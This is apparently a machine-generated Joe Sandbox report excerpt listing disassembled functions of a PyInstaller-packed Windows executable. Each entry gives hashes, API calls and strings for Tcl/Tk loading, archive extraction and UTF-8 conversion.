Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0f61f16ebaa8a638a8a5e8d26b1d50f56c630599b3bc81483cd24e756a2acb9f
Instruction ID: 6d291ef24f3072da2865daa0b2d7eafd307d8ff410d6eb3a9d535cb8d2c752c2
Opcode Fuzzy Hash: 0f61f16ebaa8a638a8a5e8d26b1d50f56c630599b3bc81483cd24e756a2acb9f
Instruction Fuzzy Hash: 42B09220E07A82C6EA187B216CC662462A4BF88B01FD44038C10C42330DE2C20B54770

Function 00007FF79EA48ED0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de6771c1ef7e18c63946eeffa30aa9c1aaeeae17eb273b3e56296a943eb9139a
Instruction ID: b809e26c95ad4355565e9af1f52dc3f7e75678f685883f636736f126d40dd63e
Opcode Fuzzy Hash: de6771c1ef7e18c63946eeffa30aa9c1aaeeae17eb273b3e56296a943eb9139a
Instruction Fuzzy Hash: 50C1F3332141E08BD699EB29E4994BA73E2F7C830DBC5802AEB87577C5CA7DE014D760

Function 00007FF79EA51E10 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ef73793ea1788ae08d57b95515db7d43b127d7364744ae73512ded182e4f5a
Instruction ID: 52cdbf32910b75184ec613044198aa8b5e4500182a87d93ef2e935cb2e9d6a36
Opcode Fuzzy Hash: d6ef73793ea1788ae08d57b95515db7d43b127d7364744ae73512ded182e4f5a
Instruction Fuzzy Hash: 8F41A752C0DE4A44E9B56B380544EBC96C1DF73BA4FE852B5DD9A133E3DE0C258AC230

Function 00007FF79EA55EE0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: LanguagesPreferredRestoreThread
String ID:
API String ID: 1765668137-0
Opcode ID: f40c359668217bfda64651ce9563db73d1d2d17d2c05805d259380fe19d81844
Instruction ID: 31d50da03a0a21be74f48c2f61dd9141ff57588e212d8b62d8d2817114f61466
Opcode Fuzzy Hash: f40c359668217bfda64651ce9563db73d1d2d17d2c05805d259380fe19d81844
Instruction Fuzzy Hash: 3041E522B14A5482EF64DF3AD9549BDB3A1E748FD4B499032DE0D87B64DF3CC1468320

Function 00007FF79EA64EF0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c8e6567a7fd7a5e5e3fd4f052162ecb8691576fce2ca6d2820fff9d11d7845
Instruction ID: eba4052748a1d606b6c3e06d902baac880c843c0c8fdd60836f95a4b71ebeb66
Opcode Fuzzy Hash: a3c8e6567a7fd7a5e5e3fd4f052162ecb8691576fce2ca6d2820fff9d11d7845
Instruction Fuzzy Hash: 50F06871B196958ADBA4EF79A442A3A77D4F748780F808039D68D83B24D63D90508F64

Function 00007FF79EA4C690 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c82eb9e1999025efe10c98d3b89d171b57a40d8cb2ac496cbfc14c448416f8
Instruction ID: 0a152b48e9e6cd5d4ec0bd57b3c45c82704ad71f9cb96ecd72a85c007800cfc0
Opcode Fuzzy Hash: 81c82eb9e1999025efe10c98d3b89d171b57a40d8cb2ac496cbfc14c448416f8
Instruction Fuzzy Hash: F7A0022194CC02E9F6A4AF20E8D0830E330FB92B01BC06071D00E420B1AF7DE540D330

Function 00007FF79EA46DF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF79EA46E07
GetProcAddress.KERNEL32 ref: 00007FF79EA46E46
GetProcAddress.KERNEL32 ref: 00007FF79EA46E6B
GetProcAddress.KERNEL32 ref: 00007FF79EA46E90
GetProcAddress.KERNEL32 ref: 00007FF79EA46EB8
GetProcAddress.KERNEL32 ref: 00007FF79EA46EE0
GetProcAddress.KERNEL32 ref: 00007FF79EA46F08
GetProcAddress.KERNEL32 ref: 00007FF79EA46F30
GetProcAddress.KERNEL32 ref: 00007FF79EA46F58

Strings

Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF79EA46FBA
Failed to get address for Tcl_Finalize, xrefs: 00007FF79EA46ECA
Tcl_EvalEx, xrefs: 00007FF79EA471F6
Tcl_SetVar2Ex, xrefs: 00007FF79EA4717E
Tk_GetNumMainWindows, xrefs: 00007FF79EA472BE
Tcl_SetVar2, xrefs: 00007FF79EA470B6
Tcl_GetVar2, xrefs: 00007FF79EA4708E
Failed to get address for Tcl_SetVar2, xrefs: 00007FF79EA470D2
Tcl_FindExecutable, xrefs: 00007FF79EA46E61
Failed to get address for Tk_Init, xrefs: 00007FF79EA472B2
Tcl_CreateThread, xrefs: 00007FF79EA46F26
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF79EA472DA
Tcl_NewStringObj, xrefs: 00007FF79EA4712E
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF79EA4719A
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF79EA4700A
Failed to get address for Tcl_CreateThread, xrefs: 00007FF79EA46F42
Tcl_GetObjResult, xrefs: 00007FF79EA471A6
Tcl_ConditionNotify, xrefs: 00007FF79EA46FEE
Failed to get address for Tcl_EvalEx, xrefs: 00007FF79EA47212
Failed to get address for Tcl_MutexLock, xrefs: 00007FF79EA46F92
Failed to get address for Tcl_Alloc, xrefs: 00007FF79EA47262
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF79EA47172
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF79EA46EF2
Tcl_Init, xrefs: 00007FF79EA46E00
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF79EA47032
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF79EA46E58
Tcl_DoOneEvent, xrefs: 00007FF79EA46E86
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF79EA46F1A
Tcl_CreateObjCommand, xrefs: 00007FF79EA470DE
Tcl_ThreadQueueEvent, xrefs: 00007FF79EA4703E
Failed to get address for Tcl_Init, xrefs: 00007FF79EA46E19
Failed to get address for Tcl_Free, xrefs: 00007FF79EA4728A
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF79EA470FA
Tcl_GetCurrentThread, xrefs: 00007FF79EA46F4E
Tcl_ThreadAlert, xrefs: 00007FF79EA47066
Tcl_GetString, xrefs: 00007FF79EA47106
Failed to get address for Tcl_EvalFile, xrefs: 00007FF79EA471EA
Tk_Init, xrefs: 00007FF79EA47296
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF79EA47082
Tcl_MutexUnlock, xrefs: 00007FF79EA46F9E
Tcl_Finalize, xrefs: 00007FF79EA46EAE
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF79EA4714A
Tcl_Free, xrefs: 00007FF79EA4726E
Tcl_MutexLock, xrefs: 00007FF79EA46F76
Failed to get address for Tcl_GetString, xrefs: 00007FF79EA47122
Tcl_NewByteArrayObj, xrefs: 00007FF79EA47156
Tcl_ConditionWait, xrefs: 00007FF79EA47016
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF79EA4723A
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF79EA471C2
Tcl_Alloc, xrefs: 00007FF79EA47246
Tcl_EvalFile, xrefs: 00007FF79EA471CE
GetProcAddress, xrefs: 00007FF79EA46E20
Tcl_ConditionFinalize, xrefs: 00007FF79EA46FC6
Tcl_CreateInterp, xrefs: 00007FF79EA46E3C
Failed to get address for Tcl_GetVar2, xrefs: 00007FF79EA470AA
Tcl_DeleteInterp, xrefs: 00007FF79EA46EFE
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF79EA46F6A
Tcl_FinalizeThread, xrefs: 00007FF79EA46ED6
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF79EA46FE2
Tcl_EvalObjv, xrefs: 00007FF79EA4721E
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF79EA46EA2
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF79EA46E7D
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF79EA4705A

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: 54a1c3e252e67cc09266da1fcf279fad4bf4e331cc46ad4e59887307f45e8b9e
Instruction ID: 364a580e1d126c2b107c8a3cfec76e34b6e0d614a8eb40a24b173871a4e085ea
Opcode Fuzzy Hash: 54a1c3e252e67cc09266da1fcf279fad4bf4e331cc46ad4e59887307f45e8b9e
Instruction Fuzzy Hash: 0CE1B764A49F03A4EE79EB35E8D0974A7AAEF46B94BC55035D80D063B4FF7CA5488330

Function 00007FF79EA412B0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79EA42B30: MessageBoxW.USER32 ref: 00007FF79EA42C01

_fread_nolock.LIBCMT ref: 00007FF79EA41499

Strings

malloc, xrefs: 00007FF79EA41377
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79EA412FE
fseek, xrefs: 00007FF79EA41332
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF79EA41370
%s%c%s, xrefs: 00007FF79EA413EE
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79EA4132B
\, xrefs: 00007FF79EA413F5
fread, xrefs: 00007FF79EA414C6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79EA414BF

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: 0732d4f022fdc7b31db21be6e5e496bbcf735fc263b6977c6db525ed3c6819a5
Instruction ID: 031ee249d27fb274957e473acb151257f8f9913a50bbe55911c628899df2d102
Opcode Fuzzy Hash: 0732d4f022fdc7b31db21be6e5e496bbcf735fc263b6977c6db525ed3c6819a5
Instruction Fuzzy Hash: 0C519161B0868745EA30B731A8D1AFAA394EFA5784FC04431EE4D47BA6FE7CE5458330

Function 00007FF79EA423F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF79EA4241B
SelectObject.GDI32 ref: 00007FF79EA42466
DrawTextW.USER32 ref: 00007FF79EA42489
SelectObject.GDI32 ref: 00007FF79EA4249F
ReleaseDC.USER32 ref: 00007FF79EA424AF
MoveWindow.USER32 ref: 00007FF79EA424FF
MoveWindow.USER32 ref: 00007FF79EA4253F
MoveWindow.USER32 ref: 00007FF79EA42592
MoveWindow.USER32 ref: 00007FF79EA425DA

Strings

P%, xrefs: 00007FF79EA42473

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 1397bf4d49756997acb3fe1c6f5b4c017e2c7a9ff894d6d872dd8574e3b9b785
Instruction ID: cc9a86e2af50a310ecf8c64fd9bf2d627800ac31d31a97163ac5cc56799f5e64
Opcode Fuzzy Hash: 1397bf4d49756997acb3fe1c6f5b4c017e2c7a9ff894d6d872dd8574e3b9b785
Instruction Fuzzy Hash: FD51E826614BA186D634AF36A0585BAF7A1FB98F61F404125EFCE43664DF3CD085DB30

Function 00007FF79EA415A0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF79EA41640
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79EA415D3
fseek, xrefs: 00007FF79EA41610
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF79EA41639
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79EA41609
fread, xrefs: 00007FF79EA416C9
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79EA416C2

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 2a5e912accda7a64c0510487fb720770bbefb5a6dcc6c5f22fe97e2fa0bec6cc
Instruction ID: 4f58908494786d8af6c64bd67ea767d5d553df630d1428faab027a7ba9aa9ba2
Opcode Fuzzy Hash: 2a5e912accda7a64c0510487fb720770bbefb5a6dcc6c5f22fe97e2fa0bec6cc
Instruction Fuzzy Hash: 9F314221B1C64346EA34BB71A4809BAE3A1EF65BD4FD84431DE4D07A66FE3CE5458730

Function 00007FF79EA485B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA4864F
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA4869F

Strings

Failed to encode wchar_t as UTF-8., xrefs: 00007FF79EA486C7
Failed to get UTF-8 buffer size., xrefs: 00007FF79EA486E0
WideCharToMultiByte, xrefs: 00007FF79EA486E7
Out of memory., xrefs: 00007FF79EA486D0
win32_utils_to_utf8, xrefs: 00007FF79EA486D7

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 95a316808b8bb9dcda1ce44e410c088c12bf9ca55186ed30222aaf70ba7edd4d
Instruction ID: d63f38bad34aceea8a512159cc2c3e6fd77b7bff8bbb1a02cb8027f4f5339ae5
Opcode Fuzzy Hash: 95a316808b8bb9dcda1ce44e410c088c12bf9ca55186ed30222aaf70ba7edd4d
Instruction Fuzzy Hash: 6C418232609B8292D670EF25B88097AF6A4FB857E4F944135EE8D47BA4EF3CD055C720

Function 00007FF79EA48AF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF79EA439BA), ref: 00007FF79EA48B31

Part of subcall function 00007FF79EA429E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79EA486F3,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA42A14
Part of subcall function 00007FF79EA429E0: MessageBoxW.USER32 ref: 00007FF79EA42AEC

WideCharToMultiByte.KERNEL32(?,00007FF79EA439BA), ref: 00007FF79EA48BA5

Strings

Failed to encode wchar_t as UTF-8., xrefs: 00007FF79EA48BAF
Failed to get UTF-8 buffer size., xrefs: 00007FF79EA48B3E
WideCharToMultiByte, xrefs: 00007FF79EA48B45, 00007FF79EA48BB6
Out of memory., xrefs: 00007FF79EA48B6B
win32_utils_to_utf8, xrefs: 00007FF79EA48B72

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: b315cce301d6f62c5f2e1af17c77687b806c080175cc497de97e679929b4bd6d
Instruction ID: 7697d1fad17428491fb3402ee695ac7a4df5f844fe6a6c8920125dff26e5ac85
Opcode Fuzzy Hash: b315cce301d6f62c5f2e1af17c77687b806c080175cc497de97e679929b4bd6d
Instruction Fuzzy Hash: E1218071A09B42A9EB60AF36A880879B665FF84BE4F944535DA4D437A5EF3CE5018330

Function 00007FF79EA474A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF79EA47616

Part of subcall function 00007FF79EA4E6F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E725

Part of subcall function 00007FF79EA4DF3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DF50

Part of subcall function 00007FF79EA4DF10: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DF24

Strings

WARNING: file already exists but should not: %s, xrefs: 00007FF79EA47598
\, xrefs: 00007FF79EA474EC
ERROR: file already exists but should not: %s, xrefs: 00007FF79EA4757C
%s%c%s, xrefs: 00007FF79EA474E5
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF79EA47532

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: edf98be7d230375ec646dfab2f7f9e294e049b0c81e2e89eadb090b533645402
Instruction ID: f38109528c1a8c2bd748fa6da70b26b64b8cd029bedecc1d38c0a1a0d887d882
Opcode Fuzzy Hash: edf98be7d230375ec646dfab2f7f9e294e049b0c81e2e89eadb090b533645402
Instruction Fuzzy Hash: AF515B21A1D68345FA34BB359590AB9E292DF85B94FC40131F90D8A7F6FE2CE9058770

Function 00007FF79EA47320 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79EA489E0: MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF79EA478A1,00000000,?,00000000,00000000,?,00007FF79EA4154F), ref: 00007FF79EA4737F

Part of subcall function 00007FF79EA42B30: MessageBoxW.USER32 ref: 00007FF79EA42C01

Strings

LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF79EA47356
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF79EA47393
